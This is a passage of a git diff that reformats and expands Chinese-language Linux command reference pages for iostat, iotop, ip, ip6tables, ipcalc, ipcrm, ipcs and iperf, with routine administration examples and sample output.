+| %iowait | 显示在系统有未完成的磁盘I/O请求期间CPU空闲的时间百分比。 |
+| %steal | 显示虚拟机监控程序为另一个虚拟处理器提供服务时,一个或多个虚拟CPU在非自愿等待上花费的时间百分比。 |
+| %idle | 显示CPU空闲且系统没有未完成的磁盘I/O请求的时间百分比。 |
-
+第二部分包含了设备利用率报告
-
+| 性能指标 | 含义 |
+| --- | --- |
+| Device | 此列给出了 /dev 目录中列出的设备(或分区)名称。 |
+| tps | 表示每秒向设备发出的传输次数。传输是对设备的 I/O 请求。多个逻辑请求可合并为对设备的一个 I/O 请求。传输大小不确定。 |
+| kB_read/s | 表示每秒从设备读取的数据量,以块数(千字节、兆字节)表示。块相当于扇区,因此大小为 512 字节。 |
+| kB_wrtn/s | 表示写入设备的数据量,以每秒块数(千字节、兆字节)表示。 |
+| kB_read | 读取的数据块总数(千字节、兆字节)。 |
+| kB_wrtn | 写入的数据块总数(千字节、兆字节)。 |
-avgqu-sz
+### 示例2
-需求的平均队列长度
+以更友好的显示方式显示 IO 信息,使用`-y`忽略第一份统计。并每隔 1 秒重新一次,共5次。
-
+```bash
+# iostat -hdy 1 5
+Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU)
-
+ tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device
+ 64.00 288.0k 308.0k 288.0k 308.0k vda
-await
+ tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device
+ 12.00 0.0k 84.0k 0.0k 84.0k vda
-等待I/O平均的时间(milliseconds)
+ tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device
+ 15.00 0.0k 36.0k 0.0k 36.0k vda
-
+ tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device
+ 28.00 0.0k 76.0k 0.0k 76.0k vda
-
+ tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device
+ 11.00 0.0k 100.0k 0.0k 100.0k vda
-svctm
+```
-I/O需求完成的平均时间
+### 示例3
-
+```bash
+# iostat -xd 1
+Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU)
-
+Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util
+vda 4.64 3.21 84.14 36.59 0.28 1.07 5.64 25.01 5.86 8.23 0.05 18.12 11.41 0.44 0.34
-%util
+Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util
+vda 1.00 0.00 4.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 4.00 0.00 2.00 0.20
-被I/O需求消耗的CPU百分比
+Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util
+vda 0.00 37.00 0.00 395.50 0.00 10.00 0.00 21.28 0.00 0.92 0.03 0.00 10.69 0.11 0.40
-
+Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util
+vda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
-
+Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util
+vda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
-
+Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util
+vda 1.00 0.00 4.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 4.00 0.00 1.00 0.10
+```
-
\ No newline at end of file
+从这里你可以看到,iostat 提供了非常丰富的性能指标。第一列的 Device 表示磁盘设备的名字,其他各列指标,虽然数量较多,但是每个指标的含义都很重要。
+
+| 性能指标 | 含义 |
+| --- | --- |
+| r/s | 设备每秒完成的读取请求数(合并后)。 |
+| w/s | 设备每秒完成的写入请求数(合并后)。 |
+| rkB/s | 每秒从设备读取的扇区数(千字节、兆字节)。 |
+| wkB/s | 每秒写入设备的扇区数(千字节、兆字节)。 |
+| rrqm/s | 每秒合并到设备的排队 I/O 请求数。 |
+| wrqm/s | 每秒合并到设备的写入请求数。 |
+| %rrqm | 在发送到设备之前合并在一起的读取请求的百分比。 |
+| %wrqm | 发送到设备前合并在一起的写入请求的百分比。 |
+| r_await | 向设备发出的读取请求获得服务的平均时间(毫秒)。这包括请求在队列中花费的时间和为请求提供服务的时间。 |
+| w_await | 向待服务设备发出写入请求的平均时间(毫秒)。这包括请求在队列中花费的时间和为请求提供服务的时间。 |
+| aqu-sz | 向设备发出的请求的平均队列长度。注意:在以前的版本中,该字段被称为 avgqu-sz。 |
+| rareq-sz | 向设备发出的读取请求的平均大小(千字节)。 |
+| wareq-sz | 向设备发出的写入请求的平均大小(千字节)。 |
+| svctm | 向设备发出的 I/O 请求的平均服务时间(毫秒)。警告!不要再相信这个字段了。 未来的 sysstat 版本将删除此字段。 |
+| %util | 向设备发出 I/O 请求所用时间的百分比(设备带宽利用率)。 对于串行服务请求的设备,当该值接近 100%,设备就会饱和。 但对于以并行方式提供请求的设备,如 RAID 阵列和现代固态硬盘,该数值并不能反映其性能极限。 |
+
+当 %iowait 升高,需要重点关注以下指标:
+
+- avgrq-sz: 向设备发出请求的平均大小(单位:扇区)
+- avgqu-sz: 向设备发出请求的队列平均长度。也是个做 IO 调优时需要注意的地方,这个就是直接每次操作的数据的大小,如果次数多,但数据拿的小的话,其实 IO 也会很小.如果数据拿的大,IO 的数据会高
+- r_await: 向服务设备发出读取请求的平均时间(单位:毫秒)。包括请求入队的时间以及设备处理请求的时间
+- w_await: 向服务设备发出写请求的平均时间(单位:毫秒)。包括请求入队的时间以及设备处理请求的时间
+- %util:一秒中有百分之多少的时间用于 I/O 操作,或者说一秒中有多少时间 I/O 队列是非空的。如果 %util 接近 100%,说明产生的I/O请求太多,I/O系统已经满负荷,该磁盘可能存在瓶颈
+- %svctm:平均每次设备 I/O 操作的服务时间 (毫秒)。一般要小于 await (因为同时等待的请求的等待时间被重复计算了),svctm 的大小一般和磁盘性能有关,CPU/内存的负荷也会对其有影响,请求过多也会间接导致 svctm 的增加。await 的大小一般取决于服务时间(svctm) 以及 I/O 队列的长度和 I/O 请求的发出模式。如果 svctm 比较接近 await,说明 I/O 几乎没有等待时间;如果 await 远大于 svctm,说明 I/O 队列太长,应用得到的响应时间变慢,如果响应时间超过了用户可以容许的范围,这时可以考虑更换更快的磁盘,调整内核 elevator 算法,优化应用,或者升级 CPU
diff --git a/command/iotop.md b/command/iotop.md
index 0ad7de359e4..916e834b548 100644
--- a/command/iotop.md
+++ b/command/iotop.md
@@ -1,6 +1,6 @@
iotop
===
-
+
用来监视磁盘I/O使用状况的工具
## 补充说明
@@ -9,39 +9,38 @@ iotop
iotop使用Python语言编写而成,要求Python2.5(及以上版本)和Linux kernel2.6.20(及以上版本)。iotop提供有源代码及rpm包,可从其官方主页下载。
-### 安装
+### 安装
**Ubuntu**
-```
+```shell
apt-get install iotop
```
**CentOS**
-```
+```shell
yum install iotop
```
**编译安装**
-```
+```shell
wget http://guichaz.free.fr/iotop/files/iotop-0.4.4.tar.gz
tar zxf iotop-0.4.4.tar.gz
python setup.py build
-python setup.py install
-
+python setup.py install
```
-### 语法
+### 语法
-```
+```shell
iotop(选项)
```
-### 选项
+### 选项
-```
+```shell
-o:只显示有io操作的进程
-b:批量显示,无交互,主要用作记录到文件。
-n NUM:显示NUM次,主要用于非交互式模式。
@@ -59,11 +58,11 @@ iotop(选项)
5. a:显示累积使用量。
6. q:退出。
-### 实例
+### 实例
直接执行iotop就可以看到效果了:
-```
+```shell
Total DISK read: 0.00 B/s | Total DISK write: 0.00 B/s
TID PRIO USER DISK READ DISK WRITE SWAPIN IO> command
1 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % init [3]
@@ -81,4 +80,3 @@ Total DISK read: 0.00 B/s | Total DISK write: 0.00 B/s
```
-
\ No newline at end of file
diff --git a/command/ip.md b/command/ip.md
index 3e14ba30303..a4112e81d1a 100644
--- a/command/ip.md
+++ b/command/ip.md
@@ -7,17 +7,17 @@ ip
**ip命令** 用来显示或操纵Linux主机的路由、网络设备、策略路由和隧道,是Linux下较新的功能强大的网络配置工具。
-### 语法
+### 语法
-```
-ip(选项)(参数)
+```shell
+ip(选项)(对象)
Usage: ip [ OPTIONS ] OBJECT { COMMAND | help }
ip [ -force ] -batch filename
```
-### 选项
+### 对象
-```
+```shell
OBJECT := { link | address | addrlabel | route | rule | neigh | ntable |
tunnel | tuntap | maddress | mroute | mrule | monitor | xfrm |
netns | l2tp | macsec | tcp_metrics | token }
@@ -31,9 +31,9 @@ OBJECT := { link | address | addrlabel | route | rule | neigh | ntable |
-r:显示主机时,不使用IP地址,而使用主机的域名。
```
-### 参数
+### 选项
-```
+```shell
OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] |
-h[uman-readable] | -iec |
-f[amily] { inet | inet6 | ipx | dnet | bridge | link } |
@@ -47,19 +47,19 @@ OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] |
help:显示网络对象支持的操作命令的帮助信息。
```
-### 实例
+### 实例
-```bash
-ip link show # 显示网络接口信息
+```shell
+ip link show # 显示网络接口信息
ip link set eth0 up # 开启网卡
ip link set eth0 down # 关闭网卡
ip link set eth0 promisc on # 开启网卡的混合模式
-ip link set eth0 promisc offi # 关闭网卡的混个模式
+ip link set eth0 promisc offi # 关闭网卡的混合模式
ip link set eth0 txqueuelen 1200 # 设置网卡队列长度
ip link set eth0 mtu 1400 # 设置网卡最大传输单元
ip addr show # 显示网卡IP信息
-ip addr add 192.168.0.1/24 dev eth0 # 设置eth0网卡IP地址192.168.0.1
-ip addr del 192.168.0.1/24 dev eth0 # 删除eth0网卡IP地址
+ip addr add 192.168.0.1/24 dev eth0 # 为eth0网卡添加一个新的IP地址192.168.0.1
+ip addr del 192.168.0.1/24 dev eth0 # 为eth0网卡删除一个IP地址192.168.0.1
ip route show # 显示系统路由
ip route add default via 192.168.1.254 # 设置系统默认路由
@@ -73,7 +73,7 @@ ip route delete 192.168.1.0/24 dev eth0 # 删除路由
**用ip命令显示网络设备的运行状态**
-```
+```shell
[root@localhost ~]# ip link list
1: lo: mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
@@ -85,7 +85,7 @@ ip route delete 192.168.1.0/24 dev eth0 # 删除路由
**显示更加详细的设备信息**
-```
+```shell
[root@localhost ~]# ip -s link list
1: lo: mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
@@ -109,7 +109,7 @@ ip route delete 192.168.1.0/24 dev eth0 # 删除路由
**显示核心路由表**
-```
+```shell
[root@localhost ~]# ip route list
112.124.12.0/22 dev eth1 proto kernel scope link src 112.124.15.130
10.160.0.0/20 dev eth0 proto kernel scope link src 10.160.7.81
@@ -121,7 +121,7 @@ default via 112.124.15.247 dev eth1
**显示邻居表**
-```
+```shell
[root@localhost ~]# ip neigh list
112.124.15.247 dev eth1 lladdr 00:00:0c:9f:f3:88 REACHABLE
10.160.15.247 dev eth0 lladdr 00:00:0c:9f:f2:c0 STALE
@@ -129,8 +129,8 @@ default via 112.124.15.247 dev eth1
**获取主机所有网络接口**
+```shell
+ip link | grep -E '^[0-9]' | awk -F: '{print $2}'
```
-ip link | grep ^[0-9] | awk -F: '{print $2}'
-```
-
+
diff --git a/command/ip6tables-restore.md b/command/ip6tables-restore.md
index 29cefd16f1a..7c132aca313 100644
--- a/command/ip6tables-restore.md
+++ b/command/ip6tables-restore.md
@@ -1,24 +1,23 @@
ip6tables-restore
===
-
+
还原ip6tables表
## 补充说明
**ip6tables-restore命令** 用来还原ip6tables表。
-### 语法
+### 语法
-```
+```shell
ip6tables-restore(选项)
```
-### 选项
+### 选项
-```
+```shell
-c:指定在还原iptables表时,还原当前的数据包计数器和字节计数器值;
-t:指定要还原的表的名称。
```
-
\ No newline at end of file
diff --git a/command/ip6tables-save.md b/command/ip6tables-save.md
index fdea83a254c..8d63c6786dd 100644
--- a/command/ip6tables-save.md
+++ b/command/ip6tables-save.md
@@ -1,24 +1,23 @@
ip6tables-save
===
-
+
保存ip6tables表配置
## 补充说明
**ip6tables-save命令** 将Linux内核中ip6tables表导出到标准输出设备上。
-### 语法
+### 语法
-```
+```shell
ip6tables-save(选项)
```
-### 选项
+### 选项
-```
+```shell
-c:指定在保存iptables表时,保存当前的数据包计数器和字节计数器值;
-t:指定要保存的表的名称。
```
-
\ No newline at end of file
diff --git a/command/ip6tables.md b/command/ip6tables.md
index 9ae53d65232..cc138a3b31a 100644
--- a/command/ip6tables.md
+++ b/command/ip6tables.md
@@ -1,21 +1,21 @@
ip6tables
===
-
+
linux中防火墙软件
## 补充说明
**ip6tables命令** 和iptables一样,都是linux中防火墙软件,不同的是ip6tables采用的TCP/ip协议为IPv6。
-### 语法
+### 语法
-```
+```shell
ip6tables(选项)
```
-### 选项
+### 选项
-```
+```shell
-t<表>:指定要操纵的表;
-A:向规则链中添加条目;
-D:从规则链中删除条目;
@@ -35,11 +35,11 @@ ip6tables(选项)
-c<计数器>:在执行插入操作(insert),追加操作(append),替换操作(replace)时初始化包计数器和字节计数器。
```
-### 实例
+### 实例
在命令行窗口输入下面的指令就可以查看当前的 IPv6 防火墙配置:
-```
+```shell
ip6tables -nl --line-numbers
```
@@ -47,13 +47,13 @@ ip6tables -nl --line-numbers
使用编辑器编辑`/etc/sysconfig/ip6tables`文件:
-```
+```shell
vi /etc/sysconfig/ip6tables
```
可能会看到下面的默认 ip6tables 规则:
-```
+```shell
*filter
:INPUT accept [0:0]
:FORWARD ACCEPT [0:0]
@@ -79,7 +79,7 @@ COMMIT
要开启 80 端口(HTTP 服务器端口),在 COMMIT 一行之前添加如下规则:
-```
+```shell
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 80 -j ACCEPT
```
@@ -87,7 +87,7 @@ COMMIT
要开启 53 端口(DNS 服务器端口),在 COMMIT 一行之前添加如下规则:
-```
+```shell
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 53 -j ACCEPT
-A RH-Firewall-1-INPUT -m udp -p tcp --dport 53 -j ACCEPT
```
@@ -96,26 +96,26 @@ COMMIT
要开启 443 端口,在 COMMIT 一行之前添加如下规则:
-```
+```shell
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 443 -j ACCEPT
```
要开启 25 端口(SMTP 邮件服务器端口),在 COMMIT 一行之前添加如下规则:
-```
+```shell
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 25 -j ACCEPT
```
对于那些没有特定规则与之匹配的数据包,可能是我们不想要的,多半是有问题的。我们可能也希望在丢弃(DROP)之前记录它们。此时,可以将最后一行:
-```
+```shell
-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp6-adm-prohibited
COMMIT
```
改为:
-```
+```shell
-A RH-Firewall-1-INPUT -j LOG
-A RH-Firewall-1-INPUT -j DROP
COMMIT
@@ -123,19 +123,19 @@ COMMIT
保存并关闭该文件。然后重新启动 ip6tables 防火墙:
-```
+```shell
# service ip6tables restart
```
然后重新查看 ip6tables 规则,可以看到如下所示的输出:
-```
+```shell
# ip6tables -vnL --line-numbers
```
输出示例:
-```
+```shell
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num pkts bytes target prot opt in out source destination
1 42237 3243K RH-Firewall-1-INPUT all * * ::/0 ::/0
@@ -172,7 +172,7 @@ IPv4 通常默认即可保护内部局域网私有 IP 上的主机。但是 IPv6
下面是一些比较常见的 ipv6-icmp 配置实例:
-```
+```shell
:ICMPv6 - [0:0]
# Approve certain ICMPv6 types and all outgoing ICMPv6
# http://forum.linode.com/viewtopic.php?p=39840#39840
@@ -203,4 +203,3 @@ IPv4 通常默认即可保护内部局域网私有 IP 上的主机。但是 IPv6
```
-
\ No newline at end of file
diff --git a/command/ipcalc.md b/command/ipcalc.md
index 5f3517c70cf..fd3e334b2ef 100644
--- a/command/ipcalc.md
+++ b/command/ipcalc.md
@@ -1,21 +1,21 @@
ipcalc
===
-
+
简单的IP地址计算器
## 补充说明
**ipcalc命令** 是一个简单的ip地址计算器,可以完成简单的IP地址计算任务。
-### 语法
+### 语法
-```
+```shell
ipcalc(选项)
```
-### 选项
+### 选项
-```
+```shell
-b:由给定的IP地址和网络掩码计算出广播地址;
-h:显示给定UP地址所对应的主机名;
-m:由给定的IP地址计算器网络掩码;
@@ -25,9 +25,9 @@ ipcalc(选项)
--help:显示帮助信息。
```
-### 实例
+### 实例
-```
+```shell
[root@localhost ~]# ipcalc -p 192.168.2.1 255.255.255.0
PREFIX=24
@@ -48,4 +48,3 @@ NETWORK=192.168.2.0
```
-
\ No newline at end of file
diff --git a/command/ipcrm.md b/command/ipcrm.md
index 53b57cc4e55..7312a43fb5a 100644
--- a/command/ipcrm.md
+++ b/command/ipcrm.md
@@ -1,21 +1,21 @@
ipcrm
===
-
+
删除消息队列、信号集、或者共享内存标识
## 补充说明
**ipcrm命令** 用来删除一个或更多的消息队列、信号量集或者共享内存标识。
-### 语法
+### 语法
-```
+```shell
ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q MessageKey ] [ -s SemaphoreID ] [ -S SemaphoreKey ]
```
-### 选项
+### 选项
-```
+```shell
-m SharedMemory id 删除共享内存标识 SharedMemoryID。与 SharedMemoryID 有关联的共享内存段以及数据结构都会在最后一次拆离操作后删除。
-M SharedMemoryKey 删除用关键字 SharedMemoryKey 创建的共享内存标识。与其相关的共享内存段和数据结构段都将在最后一次拆离操作后删除。
-q MessageID 删除消息队列标识 MessageID 和与其相关的消息队列和数据结构。
@@ -26,13 +26,12 @@ ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q Message
msgctl、shmctl 和 semctl 子例程提供了删除操作的细节。标识和关键字可以用 ipcs 命令找到。
-### 示例
+### 示例
如果要删除和 SharedMemoryID 18602 相关的共享内存段,请输入:
-```
+```shell
ipcrm -m 18602
```
-
\ No newline at end of file
diff --git a/command/ipcs.md b/command/ipcs.md
index 011450bd677..180b656b255 100644
--- a/command/ipcs.md
+++ b/command/ipcs.md
@@ -1,38 +1,63 @@
ipcs
===
-
-分析消息队列共享内存和信号量
+
+分析消息队列共享内存和信号量
## 补充说明
**ipcs命令** 用于报告Linux中进程间通信设施的状态,显示的信息包括消息列表、共享内存和信号量的信息。
-### 语法
+### 语法
-```
+```shell
ipcs(选项)
```
-### 选项
+### 选项
+#### 资源选项
+
+```shell
+-a, --all 显示全部(默认值)
+-q, --queues 消息队列
+-m, --shmems 共享内存
+-s, --semaphores 信号量
```
--a:显示全部可显示的信息;
--q:显示活动的消息队列信息;
--m:显示活动的共享内存信息;
--s:显示活动的信号量信息。
+
+#### 输出选项
+
+```shell
+-t, --time 显示最后一次操作时间
+-p, --pid 显示创建者和最后一次操作者的PID
+-c, --creator 显示创建者和拥有者的 userid, groupid
+-l, --limits 显示对资源的限制
+-u, --summary 显示当前状态摘要
+--human 以友好的方式显示大小(eg: 500K)
+-b, --bytes 以字节为单位显示大小(仅影响`-l`选项)
```
-### 实例
+#### 通用选项
+```shell
+-i, --id 显示指定ID的资源
+-h, --help 显示帮助文档并退出
+-V, --version 显示版本信息并退出
```
+
+### 实例
+
+```shell
ipcs -a
------ Shared Memory Segments --------
-key shmid owner perms bytes nattch status
-0x7401833d 2654208 root 600 4 0
-0x00000000 3145729 root 600 4194304 9 dest
-0x7401833c 2621442 root 600 4 0
+key shmid owner perms bytes nattch status
+0x7401833d 2654208 root 600 4 0
+0x00000000 3145729 root 600 4194304 9 dest
+0x7401833c 2621442 root 600 4 0
0xd201012b 3080195 root 600 1720 2
```
+### 相关命令
+
+* `ipcrm`: 删除 IPC 资源
+* `ipcmk`: 创建 IPC 资源
-
\ No newline at end of file
diff --git a/command/iperf.md b/command/iperf.md
index daa5c2ca3d1..bf0428e7a26 100644
--- a/command/iperf.md
+++ b/command/iperf.md
@@ -1,6 +1,6 @@
iperf
===
-
+
网络性能测试工具
## 补充说明
@@ -11,11 +11,11 @@ iperf分为两种版本,Unix/Linux版和Windows版,Unix/Linux版更新比较
Linux版本下载地址:http://code.google.com/p/iperf/downloads/list
-### 安装iperf
+### 安装iperf
对于windows版的iperf,直接将解压出来的iperf.exe和cygwin1.dll复制到%systemroot%目录即可,对于linux版的iperf,请使用如下命令安装:
-```
+```shell
gunzip -c iperf-.tar.gz | tar -xvf -
cd iperf-
./configure
@@ -23,319 +23,84 @@ make
make install
```
-### 选项
-
-
-
-
-
-
-
-命令行选项
-
-描述
-
-
-
-
-
-客户端与服务器共用选项
-
-
-
-
-
--f, --format [bkmaBKMA]
-
-格式化带宽数输出。支持的格式有:
-'b' = bits/sec 'B' = Bytes/sec
-'k' = Kbits/sec 'K' = KBytes/sec
-'m' = Mbits/sec 'M' = MBytes/sec
-'g' = Gbits/sec 'G' = GBytes/sec
-'a' = adaptive bits/sec 'A' = adaptive Bytes/sec
-自适应格式是kilo-和mega-二者之一。除了带宽之外的字段都输出为字节,除非指定输出的格式,默认的参数是a。
-注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下。
-
-
-
-
-
--i, --interval #
-
-设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。
-
-
-
-
-
--l, --len #[KM]
-
-设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。
-
-
-
-
-
--m, --print_mss
-
-输出TCP MSS值(通过TCP_MAXSEG支持)。MSS值一般比MTU值小40字节。通常情况
-
-
-
-
-
--p, --port #
-
-设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。
-
-
-
-
-
--u, --udp
-
-使用UDP方式而不是TCP方式。参看-b选项。
-
-
-
-
-
--w, --window #[KM]
-
-设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值。
-
-
-
-
-
--B, --bind host
-
-绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说,这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。
-
-
-
-
-
--C, --compatibility
-
-与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。
-
-
-
-
-
--M, --mss #ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。
-
-
-
-
-
--N, --nodelay
-
-设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。
-
-
-
-
-
--V (from v1.6 or higher)
-
-绑定一个IPv6地址。
-服务端:$ iperf -s –V
-客户端:$ iperf -c -V
-注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。
-
-
-
-
-
-服务器端专用选项
-
-
-
-
-
--s, --server
-
-Iperf服务器模式
-
-
-
-
-
--D (v1.2或更高版本)
-
-Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。
-
-
-
-
-
--R(v1.2或更高版本,仅用于Windows)
-
-卸载Iperf服务(如果它在运行)。
-
-
-
-
-
--o(v1.2或更高版本,仅用于Windows)
-
-重定向输出到指定文件
-
-
-
-
-
--c, --client host
-
-如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。
-
-
-
-
-
--P, --parallel #
-
-服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。
-
-
-
-
-
-客户端专用选项
-
-
-
-
-
--b, --bandwidth #[KM]
-
-UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。
-
-
-
-
-
--c, --client host
-
-运行Iperf的客户端模式,连接到指定的Iperf服务器端。
-
-
-
-
-
--d, --dualtest
-
-运行双测试模式。这将使服务器端反向连接到客户端,使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。
-
-
-
-
-
--n, --num #[KM]
-
-传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。-n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项。
-
-
-
-
-
--r, --tradeoff
-
-往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口),反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数。
-
-
-
-
-
--t, --time #
-
-设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。
-
-
-
-
-
--L, --listenport #
-
-指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。
-
-
-
-
-
--P, --parallel #
-
-线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。
-
-
-
-
-
--S, --tos #
-
-出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数,或以"0"开始的8进制数或10进制数。
-例如,16进制'0x10' = 8进制'020' = 十进制'16'。TOS值1349就是:
-IPTOS_LOWDELAY minimize delay 0x10
-IPTOS_THROUGHPUT maximize throughput 0x08
-IPTOS_RELIABILITY maximize reliability 0x04
-IPTOS_LOWCOST minimize cost 0x02
-
-
-
-
-
--T, --ttl #
-
-出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。
-
-
-
-
-
--F (from v1.2 or higher)
-
-使用特定的数据流测量带宽,例如指定的文件。
-$ iperf -c -F
-
-
-
-
-
--I (from v1.2 or higher)
-
-与-F一样,由标准输入输出文件输入数据。
-
-
-
-
-
-杂项
-
-
-
-
-
--h, --help
-
-显示命令行参考并退出 。
-
-
-
-
-
--v, --version
-
-显示版本信息和编译信息并退出。
-
-
-
-
-
-
-
-### 实例
+### 选项
+
+```bash
+-f, --format \[bkmaBKMA] # 格式化带宽数输出。支持的格式有:
+ # 'b' = bits/sec
+ # 'B' = Bytes/sec
+ # 'k' = Kbits/sec
+ # 'K' = KBytes/sec
+ # 'm' = Mbits/sec
+ # 'M' = MBytes/sec
+ # 'g' = Gbits/sec
+ # 'G' = GBytes/sec
+ # 'a' = adaptive bits/sec
+ # 'A' = adaptive Bytes/sec 自适应格式是kilo-和mega-二者之一。
+ # 除了带宽之外的字段都输出为字节,除非指定输出的格式,默认的参数是a。
+ # 注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。
+ # 通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。
+ # 如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下。
+-i, --interval # # 设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。
+-l, --len #\[KM] # 设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。
+-m, --print\_mss # 输出TCP MSS值(通过TCP\_MAXSEG支持)。MSS值一般比MTU值小40字节。通常情况
+-p, --port # # 设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。
+-u, --udp # 使用UDP方式而不是TCP方式。参看-b选项。
+-w, --window #\[KM] # 设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。
+ # 对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值。
+-B, --bind host # 绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说,
+ # 这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。
+ # 使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。
+-C, --compatibility # 与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。
+ # 某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。
+-M, --mss # ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。
+-N, --nodelay # 设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。
+-V (from v1.6 or higher) # 绑定一个IPv6地址。 服务端:$ iperf -s –V 客户端:$ iperf -c -V 注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。
+```
+
+服务器端专用选项
+
+```bash
+-s, --server # Iperf服务器模式
+-D (v1.2或更高版本) # Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。
+-R(v1.2或更高版本,仅用于Windows) # 卸载Iperf服务(如果它在运行)。
+-o(v1.2或更高版本,仅用于Windows) # 重定向输出到指定文件
